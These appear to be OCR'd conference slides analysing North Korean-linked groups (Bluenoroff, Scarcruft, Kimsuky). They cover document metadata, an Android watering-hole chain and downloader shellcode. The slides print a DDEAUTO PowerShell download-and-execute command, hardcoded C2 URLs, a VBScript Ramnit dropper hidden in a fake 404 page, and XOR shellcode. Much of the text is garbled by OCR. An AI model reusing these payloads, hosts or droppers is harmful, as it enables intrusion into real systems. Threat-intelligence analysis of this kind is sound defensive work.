plans seems to have leaked from other sources, such as o ut I °11 ger | =M alﬂ Eﬁ Ny I —1,-. ,'“
p— "
L The malicious code hidden in e-mails ser BMe 201344 "
: 20134 43 9% NIRE % 4:16:08
e [ suau|easalgeseonse . ees of Korea Hydro & Nuclear Power (t ¢ ¥ 9% LR
e GRS EEEERCEE antember 9 was ‘bomb-type’ that dest
ORRISH B0 WE: 20144 |14 288 28 2 93211 P ) yp . fol "‘3?_’ b’l} 20“‘,_‘! ”“ 289 gﬁ‘i‘ 3:} 932] |
I data of the infected computer. It is pres
"Malicious code’ Hangul file. The user na e attack aimed at deStroying and shuttir U’I] 9,* n ??! "Jg ;
me is "John’ (red circle) as in cyber terr servers of the nuclear power control Sy¢
orism last year. (PhotoHawley) A).

"Malicious code’ Hangul file. The user na
“The first analysis of 300 kinds of malicious codes distributed in KHNP was .« J h / ( d - I ) . b t
of destroying the data of the infected computer like a hand grenade,” said Le meE IS onn red Circi€) as in Cy er terr
ead of the Seoul Central District Prosecutor’s Office. He added, “Since there | Orism | aSt year. [PhOtOH aWIey]

akage function, there is a high possibility that the nuclear power plant drawing

y the intimidators were leaked to other routes before the 9th.” Hangul flles hau\cub 1y

malicious code, ‘specification.hwp’, “transmission line.h

at the time of malicious file generation has been prepar: John ¢ ﬂ john_kd dfifj 1029 - 12 = 152

il last to October thi .
prijast year fo Bitober s yeat KHNP(Korean Hydro and Nuclear Power) Hacked!
The collective means is focused on the possibility tha: d ropbox : Com." S/ Wngggrnva nwn. ..

y to be carried out in North Korea, and is gaining the ak

the name of the worker (PC user) who last modified th d ropbox com/s/m ptpx p Ic ryd b

code is the same as the user name “John’ of one of th

during '3 - 20 cyber terrorism’ Confirmed. The ID of th d rODbOX. C Om"’S."’O4Qn m8 1 yeh h\N. .o
Facebook account (Jenia John), which hackers publish d r Op b 0X COm / S / e 2 2 0 aumm 3 C h l

ar power” and released the leak data from the 15th, be



Relationships

VIrus

BULLETIN

Summary Information — Author (Bluenoroff)
= alosha, TATIANA, Tiger

PIDSI PIDSI PIDSI PIDSI

R = AUTHOR ~ LASTAUTHOR = CREATE DTM  LASTSAVE DTM
ZE|o| A2 EXOI ‘EHOIZFY| 2512t alosha Administrator ~ 2017-11-07 09:34:50  2017-12-08 19:43:49
ut A 2 IMI alosha 2017-02-04 07:04:00 2017-08-16 10:32:26
0 2 M alosha 2017-09-08 17:38:32  2017-09-08 17:40:04
& 2 E (Tel 0098, Fax 0236) OIAFE! alosha 2011-08-09 01:46:35  2017-09-24 08:21:20
£ 2 & (Tel 0098, Fax 0236) OIAFE] alosha 2011-08-09 01:46:35  2017-09-24 08:21:20
HIERQI 213 0 Wz AL alosha alosha 2017-10-13 03:01:35 2017-10-13 03:18:57
QIEALS alosha 2017-11-03 00:45:55 2017-11-03 00:46:41
20{ Fo| bit alosha 2017-07-25 06:30:06  2017-11-17 01:13:21
Q) AbX| 2 M alosha alosha 2017-11-29 17:42:25  2017-11-29 17:44:32
0| 2 A alosha alosha 2017-11-29 18:06:28  2017-11-30 18:23:00
2ol alosha User 2017-11-02 02:52:03  2018-05-30 01:41:29
HeHx| eiE TATIANA TATIANA 2018-04-10 03:01:00 2018-04-10 03:18:34
Z20| Chgt OfaHet AE jae TATIANA 2018-06-01 01:53:51  2018-06-01 01:54:10
0|=o] Chefl2{E% TATIANA 2018-06-01 01:54:19  2018-06-01 01:54:40
D22 Lte| 6258847 TATIANA 2006-05-15 09:03:25 2018-06-01 01:55:03
EZ 0[N H|Z=Z (bizforms.c TATIANA 2017-03-21 04:30:05 2018-06-14 00:49:34
. 1ex9420 TIGER 2015-08-22 19:35:06  2015-08-24 11:29:27
2 3 U+ U+ U+ U+ Tiger 2005-12-20 06:35:34 2017-06-12 06:45:54
=2 3 U+ U+ U+ U+ Tiger 2005-12-20 06:35:34 2017-06-12 06:45:54

KMC Zztzf Tiger 2013-02-25 02:11:36 2017-06-15 04:51:27
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Relationships

Viru
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= Summary Information — Author (Scarcruft)

= Lion, SEIKO, Tames

5CH OFA AfO|EH iz

=0l

L2 0150l AIASH ROIEAMQ
WS MoK =l ¢t =|= 87X| 0|

et=2 off efEe| 22 71 sh=2t

FAMEA

HERIE YA(SU)
=g5t= 20I8

=20

5

PIDSI_TITLE

PIDSI_
AUTHOR

SE (WWwW.wow

Lion
Lion
Lion
Lion
ORENT
SEIKO
SEIKO
SEIKO
SEIKO
SEIKO
WWW
e

Administrator

Tames

PIDSI_
LASTAUTHOR

Lion
Lion
Lion
Lion
Lion
Lion
Lion
Lion
Lion
Lion
Lion
Lion

Tames
Tames
Tames

PIDSI_
CREATE_DTM

2017-06-29
2016-08-17
2016-08-31
2016-09-05
2016-09-29
2016-04-26
2017-03-16
2017-05-12
2017-06-27
2017-08-26
2017-08-29
2016-10-05
2016-03-28
2017-10-30
2017-11-01

02:08:50
17:17:34
22:08:51
17:28:05
16:54:44
02:33:04
03:18:22
07:29:24
01:39:23
08:49:26
08:35:38
00:20:02
07:46:49
09:14:24
02:18:31

PIDSI_
LASTSAVE_DTM

2017-07-11

2016-08-17
2016-08-31
2016-09-05
2016-09-29
2017-05-28
2017-03-27
2017-05-15
2017-06-28
2017-08-27
2017-08-30
2016-10-05
2018-01-02
2017-10-30
2017-11-01

06:29:52
17:19:35
22:31:58
17:30:13
16:59:17
23:48:47
03:23:46
15:57:27
16:02:06
05:46:27
05:13:56
16:26:50
03:30:31
09:29:41
03:28:49
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Relationships

= Summary Information - Author
= Bluenoroff: alosha, TATIANA, Tiger
= Scarcruft: Lion, SEIKO, Tames
= Kimsuky : John
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Relationships VIFUS

= Summary Information - Author
= Bluenoroff: alosha, TATIANA, Tiger
= Scarcruft: Lion, SEIKO, Tames
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= Recent Trends
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Recent Trends

= Abuse of Word Normal function - Scarcruft
= DDEAUTO

Calibi ~ 11 ~ Jf » EE
AN AREBW-A-R S

{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell-NoP -Nonl-W Hidden -Exec Bypass
Sp=Senv:temp+'\\ko_language _pack.exe';(New-Object

i Ej??' - System.Net.WebClient).DownloadFile('http://www.edsi.co.kr/admin/main_page/photo/data/erphoto.s
M S 2Ho=w mall',$p); Invoke-ltem Sp" " " }+

______

>}
=
i= wis 0§77
%
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Recent Trends

= Abuse of Word Normal function - Scarcruft
= DDEAUTO vs Data Link

. Malware
Abusing Common . .
. Difference loading
Function Feature
method
Abuse of
HWP Data Link normal Execute VBS Drop
function
M-RR
Same : (ROKRAT)
Dynamic Data xecute
DOC £ yh e document s hell Download
xchange ( ) author owershe
{ DDEAUTO c:\\windows\\system32\\cmd.exe "/k powershell-NoP -Nonl-W Hidden -Exec Bypass
= B Sp=Senv:temp+'\\ko_language_pack.exe';(New-Object
j— I System.Net.WebClient).DownloadFile('http://www.edsi.co.kr/admin/main_page/photo/data/erphoto.s
c agos mall',$p); Invoke-ltem$p " " " }+
e 85/133



Recent Trends

= Abuse of Word Normal function - Scarcruft

0041B830 sub_41B830

mrimary

sub_41B7A0 0041B7A0 1

SEEONARY

.

e e den

o o e akmo
Py et » o ) ™
Siae T e

s

. EATUZES ) e 4T
mEm o

¥
oD aediis s e aeen
Conme o tme - L
M R Hew W Sl

om0 axtes0
oy SPEY
SiEe




Recent Trends Vi

= OSMU - Scarcruft
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Recent Trends

= OSMU - Scarcruft
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Recent Trends vir

= Wateringhole attack via Malicious APKS - scrcruit
* Landing Page

durihana.cafe24.com
durihana.com
durihana.window.gabiauser.com
ingo.co.kr

ingonews.kr

About Durihana

SElgtt &M

ingonews2.mediaon.co.kr - yen s sz seszam
ngonews.tv 3:;;\@

ngonewsi.com

ngonewstv.com

nabuco.org
nabuco2.mediaon.co.kr
nbcltv.com
nbcltv.mediaon.co.kr
SIS SEOEO|2E  kr (xn--hc0b2le97ccwis5e6xrppar89c2ug.kr)

=
A[BI@F I
Civil Movement Union Newspaper
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Recent Trends VIrus

BULLETIN

= Wateringhole attack via Malicious APKS - scarcrust

WWW
> _? L — — 3) Check einvironments
L » m ~ of connected device
1) Access waypoint A
2-1) Execute script
Inserted <iframe> tag that distribute malicious code
[test.php]

iﬁi \‘ Pl

< = .
4-2) Move to 7 :
maliciz)us apkpath e T m <+ 8 jS Check Check 5 Check
‘ » 0S and Version of mobile browser ©2MsSung

'y 50001 3 connected device "‘Sﬁ"‘; gm}ce

Malicious APK 3-2) Reaload Page Exploit 2-2) Execute DnstnbuéugraServer [ver 5.0] [ g

CVE-2015-6764  Script that 104G

window.location.reload(); distribute malicious code I
[array.js] __ve Log fIiIe in C&C l /:
Drop & Install B
<« 4) Write log file about
m connected device mformatuon

5) save filename

10 XXX.pn
RSP Q 9
€ m - -— <«
“an)r ZIP
7) Install Malicious APK (Dropper) Exploit a2 6) Download file

to system permission CVE-2015-7888 to /sdcard/Download/



Recent Trends

= Wateringhole attack via Malicious APKS - scrcuit

= "Android"';
= "Android 5.0";
= "GM-";
= "SHV-"; ‘
= "KAKAOTALK"; s e 555
= "DaumApps"; Thersa

e
= "NAVER"; L_+[§5+_J

4) Write log file about
connected device information

if(strpos( , ) == false){
exit;




Recent Trends

= Wateringhole attack via Malicious APKS - scrcuit

= Write Log file

= "Chrome/44";
= "Chrome/46";
= "SamsungBrowser";

= "NAVER";
= "KAKAOTALK";
if(strpos( , ) == true || strpos( , ) == true){
if(strpos( , ) == true || strpos( , ) == true){

= fopen("logv8.png", "a+");
fputs ( . );
fclose( );
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Recent Trends VIrus

BULLETIN

- ¥Vateringhole attack via Malicious APKS - scrcruit

CVE-2015-7888 / CVE-2015-676
lig pdim| Ageamm

1) Access waypoint A ;
2-1) Execute script
Inserted <iframe> tag that distribute malicious code
[test.php]

iﬁﬂ °® «r

\/
= 1 1
¢ 4-2) Move to < *m* & |54 ! Ch:eck
malicious apk path : jS Check Check s
‘ y 0OS and Version of maobile browser AIMSUNg

'y 50001 3 connected device "‘Sﬁ"‘; device

Malicious APK 3-2) Reaload Page Exploit 2-2) Execute sttnbuctzugréServer [ver 5.0 [ SHV-]

CVE-2015-6764  Script that 104G

window.location.reload(); distribute malicious code I
arayjs]  __ve Log f|i|e in C&C E /
Drop & Install A
<« 4) Write log file about
m connected device nnformatnon

5) save filename

10 XXX.png
RSO " Q
€ m < -— <
P ZIP
7) Install Malicious APK (Dropper) Exploit a2 6) Download file

to system permission CVE-2015-7888 to /sdcard/Download/



Recent Trends VIrUS

= Wateringhole attack via Malicious APKS - scrcuit

= CVE-2015-7888 (Path Traversal)
= WifiHs20UtilityService (UID : system)
» /sdcard/Download/cred.zip
WifiHs20CredFileObserver automatically

extracts the content of the archive in the /data/bundle/
directory and deletes the zip file afterwards

s

£ cred zip 01 o= 37 == 37 IE EF
v —_—
VoL — € base.apk 61,660 61,660 S=(APK) DY
L'
v —
v —
v —
W data
v o app

com.sec.android.app.samsungapps-1
com.sec.android.app.samsungapps-2



Recent Trends (2018.07)

= New Type of H-PS-S - Bluenoroff
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Recent Trends (2018.07) Vi

= New Type of H-PS-S - Bluenoroff

= Like H-PS-S-6 Downloader Shellcode,
But XOR-key change 1-byte to 16-byte

$ python /Volumes/Samsung_T3/Tools/hwp_parser/dokkaebi_bat.py .

JEXX L E R A2 . hwp_9c3221dfc49b159f032eda70e8cb207c6@e73ea5f5119dd
c90629292deacf90c 9¢3221dfc49b159f032eda70e8cb207coPe73ea5f51f9ddc906292

92deact90c 0l = M Administrator Vladimir 8, 5,
8, 1555 WIN32LEWindows_7 2018-04-20 00:57:00 2018-07-25 00:55:26.

962000

[1] : /JAXX LK 222 . hwp_9c3221dfc49b159f032eda7@e8cb207co@e73ea5f

51f9ddc90629292deacf90c
BinData/BINQGQQZ.PS

%k 3k 3k 3k 3k 3k 3K ok ok sk sk Sk sk ok sk sk sk %k kok ok [H_PS_S_g:l %k 3k 3k sk 3k 3K 3K ok 3k sk sk ok sk ok sk sk sk %k kok ok

[1][XOR=16bvte : Ox566F7B3F6AF8DOBOOSO3F 3A83CDRAF16 |
[C&C 32] : https://sfacor.com/upload/profile_2.dmg

[C&C 64] : https://sfacor.com/upload/profile_4.dmg

-~ s/ LI



Recent Trends (2018.07) VIFUS

= New Type of H-PS-S - Bluenoroff
» Like H-PS-S-6 Downloader Shellcode,

get - 165429 -xor {Y1@1 -exch -put -} -for - /Y78 -{ - /Y79 -exch -de
) Y81 Y72 0 eq { exit } 1f /Y80 Y80 1 add def } loop Y
lef -{ - .egproc /Y84 true -def . /Y69 .0 .def Yo -{ /Y84 true.
f-¥3 Y85 get - { Y84 -{ /Y84 false def -} { /Y84 true def-
/Y69 Y69 -1 -add -def -} repeat Y84 { /Y82 false def exit
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Recent Trends (2018.07) Vi

= New Type of H-PS-S - Bluenoroff

= Like H-PS-S-6 Downloader Shellcode,
But XOR-key change 1-byte to 16-byte

$ python /Volumes/Samsung_T3/Tools/hwp_parser/dokkaebi_bat.py .

JEXX L E R A2 . hwp_9c3221dfc49b159f032eda70e8cb207c6@e73ea5f5119dd
c90629292deacf90c 9¢3221dfc49b159f032eda70e8cb207coPe73ea5f51f9ddc906292

92deact90c 0l = M Administrator Vladimir 8, 5,
8, 1555 WIN32LEWindows_7 2018-04-20 00:57:00 2018-07-25 00:55:26.

962000

[1] : /JAXX LK 222 . hwp_9c3221dfc49b159f032eda7@e8cb207co@e73ea5f

51f9ddc90629292deacf90c
BinData/BINQGQQZ.PS

%k 3k 3k 3k 3k 3k 3K ok ok sk sk Sk sk ok sk sk sk %k kok ok [H_PS_S_g:l %k 3k 3k sk 3k 3K 3K ok 3k sk sk ok sk ok sk sk sk %k kok ok

[1][XOR=16bvte : Ox566F7B3F6AF8DOBOOSO3F 3A83CDRAF16 |
[C&C 32] : https://sfacor.com/upload/profile_2.dmg

[C&C 64] : https://sfacor.com/upload/profile_4.dmg

=> Manuscrypt

-~ S [ LI



Recent Trends (2018.07) Vi

= New Type of H-PS-S - Bluenoroff
* Manuscrypt C2

__m128 sub_10006420()
{

unsigned int v@; // esi

memset(&dword_1001F628, 0, 0x2188u);
vl = rand();
do
vl = (rand() + 2 * v0) & OxFFFFFF;
while ( v@ < OxFFFF );
strcpy(xmmword_1001F670, "www.markcoprintandcopy.com/data/helper.php");
strcpy (&xmmword_1001F870, "www.aedlifepower.com/include/image.php”);
dword_1001F628 = v0 + 805306368;
dword_1001F62C = 1;
strcpy(&xmmword 1001FA70, "www.919xy.com/contactus/about.php");
return *"ntactus/about.php”;
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Threat Groups

= Related Threat Groups

Threat Activity . .

Confidential
(%Iobal-and Korear'1 domestic information SWIFT illegal
financial companies takeover and .

Bluenoroff . ) 2015~ transaction of central
Officials and users monetary gain bank of Baneladesh
of crypto-currency exchanges (SWIFT, crypto- &

currency)

Jivs

v
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Recent Trends (2018.07)

= New Type of H-PS-S - Bluenoroff

= Manuscrypt C2 — Chinese Casino

® 9FH35HA| %42  www.markcoprintandcopy.com

BARFR BFEZ HERE FRIE LM RREERD

ir TOPTREND

<

{ ! A \."?;‘r -~
e

o 8

B N A ‘w/ 7

N o )] s

% > -
o —— R ™

‘.‘.w =R S P "R bttt

-

DIESZES

HEX
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Recent Trends (2018.07) Vi

= New Type of H-PS-S - Bluenoroff
* Manuscrypt C2

__m128 sub_10006420()
{

unsigned int v@; // esi

memset(&dword_1001F628, 0, 0x2188u);
vl = rand();
do
vl = (rand() + 2 * v0) & OxFFFFFF;
while ( v@ < OxFFFF );
strcpy(xmmword_1001F670, "www.markcoprintandcopy.com/data/helper.php");
strcpy (&xmmword_1001F870, "www.aedlifepower.com/include/image.php”);
dword_1001F628 = v0 + 805306368;
dword_1001F62C = 1;
strcpy(&xmmword 1001FA70, "www.919xy.com/contactus/about.php");
return *"ntactus/about.php”;
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® www.aedlifepower.com/include/image. php

Recent Trends (2018

= New Type of H-PS-S - I 500 - ABREBER.

BEXRNFEFEEDE , RRLER R,

= Manuscrypt C2 -> 404?!

A 91E www.919xy.com/contactus/about.php @ www.markcoprintandcopy.com/data/helper.php

WSS BER

404 - A EHBF.
BEEHRNFFETHEC RN  CERERREEN TR,

404 - HFEXHFHER.
EBE N EETHEE SR . CEREH R BRI RAR,

Vo = (rand{) + £ ™ VU) & UXFFFFFF;

while ( v@ < OxFFFF );

strcpy(xmmword_1001F670, "www.markcoprintandcopy.com/data/helper.php");
strcpy (&xmmword_1001F870, "www.aedlifepower.com/include/image.php");
dword_1001F628 = v0 + 805306368;

dword_1001F62C = 1;

strcpy (&xmmword_1001FA70, "www.919xy.com/contactus/about.php");
return *"ntactus/about. php';
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Recent Trends (2018.07)

= New Type of H-PS-S - Bluenoroff
= Manuscrypt C2 -> 404?!

L

ClIFFEE
TI]ME%/’
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Recent Trends (2018.07)

= New Type of H-PS-S - Bluenoroff

= Manuscrypt C2 -> View Source

@ view-source:www.markcoprintandcopy.com/data/helper.php L phe

o NG A WN 2

<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"/>
<title>404 - HFHXFHAR. </title>
<style type="text/css">
<l--
body{margin:0; font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
hl{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:l.7em;margin:0;color:#CC0000;}
h3{font-size:1l.2em;margin:10px 0 0 0;color:#000000;}
#header {width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555; }
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
—>
</style>
</head>
<body>
<div id="header"><h1>REB/IHEIR</h1></div>
<div id="content">

<div class="content-container"><fieldset>

<h2>404 - HARBXHREFR. </h2>

<h3>BESHMRRTECHEMER  CEREMAZFENFAIA, </h3>

</fieldset></div>
</div>
</body>
</html>
<SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData =
"4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E00200001
0000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E8040000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055505830000000000
0E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D0
02000006000000D60000000000000000000000000000400000C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FDOAO0D020023D000000048010026000012R29



Recent Trends (2018.07)

= New Type of H-PS-S - Bluenoroff
= Manuscrypt C2 -> Hidden Malware!!

@ view-source:www.markcoprintandcopy.com/data/helper.php L phe

o NG A WN 2

<html xmlns="http://www.w3.0rg/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"/>
<title>404 - HFHXFHAR. </title>
<style type="text/css">
<l--
body{margin:0; font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
fieldset{padding:0 15px 10px 15px;}
hl{font-size:2.4em;margin:0;color:#FFF;}
h2{font-size:l.7em;margin:0;color:#CC0000;}
h3{font-size:1l.2em;margin:10px 0 0 0;color:#000000;}
#header {width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
background-color:#555555; }
#content{margin:0 0 0 2%;position:relative;}
.content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
—>
</style>
</head>
<body>
<div id="header"><h1>REB/IHEIR</h1></div>
<div id="content">
<div class="content-container"><fieldset>
<h2>404 - HARBXHREFR. </h2>
<h3>BESHMRRTECHEMER  CEREMAZFENFAIA, </h3>
</fieldset></div>
</div>
</body>
</html>

<SCRIPT Language=VBScript><!--

DropFileName = "svchost.exe"

WriteData =
"4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C0020000F0010000D002000000400000100000000200000A00000008000100040000000000000000E00200001
0000000000000020000000000100000100000000010000010000000000000100000000000000000000000E8D402001001000000D00200E8040000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000055505830000000000
0E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0000000F0010000D2000000040000000000000000000000000000400000E02E727372630000000010000000D0
02000006000000D60000000000000000000000000000400000C000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E303300555058210D09020838ADBE177792F93FD0OAO0D020023D000000048010026000012R29
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Recent Trends (2018.07) Vi

= New Type of H-PS-S - Bluenoroff
= Manuscrypt C2 -> Hidden Malware!!

</style>

</head>

<body>

<div id="header"><h1>RZBEix</hl></div>

<div id="content">

<div class="content-container"><fieldset>
<h2>404 - FRABEXHEHBEF. </h2>
<h3>BEBRNEFTECHMBR , CEREBMABZERN AT, </h3>

</fieldset></div>

</div>

</body> Hidden Malware (Ramnit)

</html>

<SCRIPT Language=VBSCript><l-- - Repeat : .*.html + VBScript

DropFileName = "svchost.exe"

WriteData =

"4D5A90000300000004000000FFFF0000B8000000000000004000000000000000000000000000000000
0000000000000O0O0OOOOOCOOOOOO0O0O0O0O0O0O0O0OOOOOOO0OO0O0O0O0O0O0O0O0O0O0O0O0O0OOO0O0O0O0O0O0O0O0O0O0O0O00O0O0OOOO0O0O0O0O0O000
00000000000000000000C0O0Q0O00O00000O0O00O0O0O0OOO0O0O0O0O0O0O0O0O0O0O0O0O0N0O0OOOOO0O0NOO0O0O0O0O0O000O0O0ONOOOO0ONNO0O0O00O
504500004C010300BC7CB1470000000000000000E0000F010B01070400E000000010000000E0010030C
00000000000000200000000001000001000000000100000100000000000001000000000000000000000
00000000000000000000CO0OOO0O0O0O0O0O0OOO0OOOOOOOOOO0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O0O00O0O0O0O0C0O0O0O0O0O000
0E00100001000000000000000040000000000000000000000000000800000E0555058310000000000E0
02000006000000D60000000000000000000000000000400000C00000000000000000000000000000000
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= New Type of H-OLE-S - Scarcruft
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Recent Trends (2018.08) VIFUS

= New Type of H-OLE-S - Scarcruft
= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5)
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Recent Trends (2018.08)

= New Type of H-OLE-S - Scarcruft

= Like H-PS-S-1 Downloader Shellcode (

e8
90
5e
5e
ds
5e

00
00
87
9d
dé
d6

00
00
d9
cd
2d
17

00
00
5e
5e
3e
5¢

00000000
00000005
00000006
00000009
00000008
00000010
00000012
00000014
00000016
00000018
00000019
0000001B
0000001C
0000001E

00
00
87
8d
21
b

E800000000

5E

5e
00
cl
f5
ee
f1l

83
00
5e
dé
a8
£5

83C622
8B06

3DCCCCCCcCC

7415
8A06

8806

46

EBEE

90

0000
0000

cé
00
a7
of
3 |
8f

22
00
fd
36
a0
b4

8b
00
87
ef
36
8c

06
00
5e
9¢c
8d
8f

3d
00
87
5e
S5e
84

cc
29
ch
el
8d
2a

ce
3d
5e
5e
f1l
35

ccC
7b
97
dé
dé
8d

cc
ds
e9
27
0f
8f

74
ds
5e
e6
b3
5e

15
ds
91
2a
S5e
c7

CALL 00000005

8a
b5
d7
eb
d9
3e

06 34 ds| 8s

5e
ad
15
9e
74

39 eéb
50 15
79 51
5e 8d
bf 95

POP ESI
ADD ESI, 00000022
MOV EAX,DWORD PTR
CMP EAX,CCCCCCCC

JE 00000027

MOV

07
al
15
c9
bd

06
bl
9d
al
dé6
d5

5e
dé6
d2
0f
c5

e
87 e5
17 85
14 1la
S5e dil
d5 d5

[ESI]

AL,BYTE PTR [ESI]

|XOR

AL,D5|

MOV
INC
JMP
NOP
ADD
ADD

BYTE PTR [ESI],AL
ESI
00000109

BYTE PTR [EAX],AL
BYTE PTR [EAX],AL

XOR : 0xD5)
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Recent Trends (2018.08)

= New Type of H-OLE-S - Scarcruft
= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5)

e8 00 00 00 00 5e 83 c6 22 8b 06 3d cc cc cc cc 74 15 8a osmas 06 46 eb ee
90 00 00 00 00 00 00 00 00 00 00 00 29 3d 7b d5 d5 d5 b5 5e 39 e6 07 bl 5e 87 e5
Se 87 d9 5e 87 cl 5e a7 £d 87 5e 87 c5 5e 97 e9 Se 91 d7 ad 50 15 al 9d d6 17 85
5e 9d cd 5e 8d £5 d6 Of 36 ef 9c 5e el 5e d6 27 e6 2a e6 15 79 51 15 al d2 14 1la
d8 d6 2d 3e 21 ee a8 £1 a0 36 8d 5e 8d £1 d6 Of b3 5e d9 9e Se 8d c9 d6 0f Se dl
Se d6 17 5c 91 £1 £5 8f b4 8c 8f 84 2a 35 8d 8f 5e c7 3e 74 bf 95 bd d5 c5 d5 d5

00000000 E800000000 CALL 00000005
00000005 5E POP ESI

00000006 83C622 ADD ESI, 00000022
00000009 8BO6 MOV EAX,DWORD PTR [ESI]
0000000B 3DCCCCCCCC CMP EAX,CCCCCCCC
00000010 7415 JE 00000027

00000012 8A06 MOV AL,BYTE PTR [ESI]
00000014 B4D5] IXOR AL,D5|

00000016 8806 MOV BYTE PTR [ESI],AL

4010ee LoadLibraryA{urlmon)
401060 Virtual Al loc(base=0 , sz=400) = 600000

401101 GetTempPathA(len=104, buf=600000) = 1f

4010bf URLDownloadToF i leA{http://crystalpowercleaning.com/wp—includes/images/wpindex. jpg, C:#UsersHp

tWAppDataWlLoca | #Temp¥wins . exe)
4010ce  WinExec(C:¥UsersHptWAppData¥lLocalWTemp¥wins. exe)
4010da TerminateProcess{) = 1



Recent Trends (2018.08) VIFUS

= New Type of H-OLE-S - Scarcruft

= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),
But OLE
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Recent Trends (2018.08) Vi

= New Type of H-OLE-S - Scarcruft

= Like H-PS-S-1 Downloader Shellcode (XOR : 0xD5),
But OLE

E‘ F{c-c-t_Entr;.-' Hex -~ Hex (Decompress) 4
= BinData 01021020 | 7 04 <7 04 <7 04 c7 04 <7 04 7 04 c7 04 7 04 | coveeeennneen...
. ~[] BincooioLe 01021100 | <7 =8 00 00 00 00 5¢ 83 <6 22 8b 06 3d cc cc cc | nnn.. amo=...
=3 BodyText 01021110 | ce 74 15 8a 06 8b fe 34 d5 88 07 46 eb ec 90 8b | .t..... 4. . .F....

-] section0 01021120 | fe aa 88 07 00 00 00 00 29 3d 7b d5 d5 d5 b5 S5e | ceeun... ={...."
=-[Z] section? 01021120 | 39 e6 07 bl 5e 87 5 S5e 87 d9 S5e 87 cl 5e a7 £d | 9...5. .~ .~ .~
=-{2) DocOptions 01021140 | B7 5= 87 5 5= 97 29 52 91 d7 ad 50 15 al 9d dé6 | -*..*..*...P....
+-[E] _LinkDoc 01021150 | 17 85 5= 9d cd Se 8d £5 dé Of 36 =f 9c 5= el 52 | .. ... ... 6..%."
=-F5 Scripts 01021160 | d6 27 =6 2a =6 15 79 51 15 al d2 14 1a d8 dé 2d | .".*..yQu.r.... -
[F] Defaultiscript 01021170 | 32 21 es aB £1 ad 36 8d 5e 8d £1 d6 Of b3 5e d9 | >!....6.%..... A
-.[T] Jscriptversion 01021180 | 92 5e 8d c9 d6 OFf 5e dl S5e dé 17 S5c 91 £1 £5 BF | 4. ...~ . \....
_[7] [HwpSummaryinformation (01021150 | b4 8c 8£ 84 2a 35 8d 8f 5e 7 3 74 bf 85 bd dS [ ....*5..%.>¢....
[ Docinfo 010211a0 | 5 d5 d5 bd d5 dl d5 d5 bf dS bd 81 1f Ta 44 2a | «oeeennnn.nn. zD*
[ FileHeader 01021180 | 00 16 =6 15 B85 85 84 BE 85 bd 3 cf £a a5 2a 00 | cueeeennnenn.. -
[ Prvimage 01021120 | 16 Bf d5 Se 99 £1 cl 84 bd 4d 2b 5f db 2a 00 16 | «..®..... Mt Lt
L[] prvext 01021140 | bf d5 bf 2a bd 56 6c 60 ad 2a 00 16 88 bd ba bb | ...*. V1 .*......
01021120 | d5 d5 bd ad a7 b9 b8 81 bd 5b 9b db 39 2a 00 3d | «oeuunn.. [..9%.=

